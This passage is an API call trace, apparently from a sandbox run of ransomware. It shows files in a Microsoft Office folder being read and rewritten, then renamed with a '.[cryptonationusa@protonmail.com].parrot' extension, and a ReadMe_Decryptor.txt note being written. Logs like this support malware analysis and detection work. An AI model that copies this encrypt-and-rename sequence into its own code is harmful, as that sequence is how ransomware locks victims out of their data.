| out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0171.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0171.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0171.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0171.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22ca060 [0171.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0171.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x22ccff8 [0171.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22ca060 | out: hHeap=0x5b0000) returned 1 [0171.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x228c050 [0171.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22ccff8 | out: hHeap=0x5b0000) returned 1 [0171.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22ca060 [0171.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0171.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x228c050 [0171.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22ca060 | out: hHeap=0x5b0000) returned 1 [0171.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22d8068 [0171.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0171.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3198458 [0171.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0171.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x31ba098 [0171.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0171.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x31ecae0 [0171.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ba098 | out: hHeap=0x5b0000) returned 1 [0171.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x3238a30 [0171.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecae0 | out: hHeap=0x5b0000) returned 1 [0171.230] WriteFile (in: hFile=0x27c, lpBuffer=0x3238a40*, nNumberOfBytesToWrite=0x69908, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3238a40*, lpNumberOfBytesWritten=0x18eed4*=0x69908, lpOverlapped=0x0) returned 1 [0171.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3238a30 | out: hHeap=0x5b0000) returned 1 [0171.236] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x698fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.236] CloseHandle (hObject=0x27c) returned 1 [0171.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0171.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0171.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.241] GetFileType (hFile=0x27c) returned 0x1 [0171.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0171.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.252] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.254] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29a, lpOverlapped=0x0) returned 1 [0171.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0171.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.254] GetLastError () returned 0x0 [0171.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0171.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0171.256] WriteFile (in: hFile=0x27c, lpBuffer=0x5cabe0*, nNumberOfBytesToWrite=0x3b8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cabe0*, lpNumberOfBytesWritten=0x18eed4*=0x3b8, lpOverlapped=0x0) returned 1 [0171.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0171.258] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.258] CloseHandle (hObject=0x27c) returned 1 [0171.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0171.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0171.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.263] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.264] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6, lpOverlapped=0x0) returned 1 [0171.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0171.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.264] GetLastError () returned 0x0 [0171.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5cbeb0 [0171.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0171.265] WriteFile (in: hFile=0x27c, lpBuffer=0x5cbeb0*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cbeb0*, lpNumberOfBytesWritten=0x18eed4*=0x1f8, lpOverlapped=0x0) returned 1 [0171.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0171.267] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.267] CloseHandle (hObject=0x27c) returned 1 [0171.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0171.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0171.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.271] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.271] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.272] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0171.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0171.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.272] GetLastError () returned 0x0 [0171.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.273] 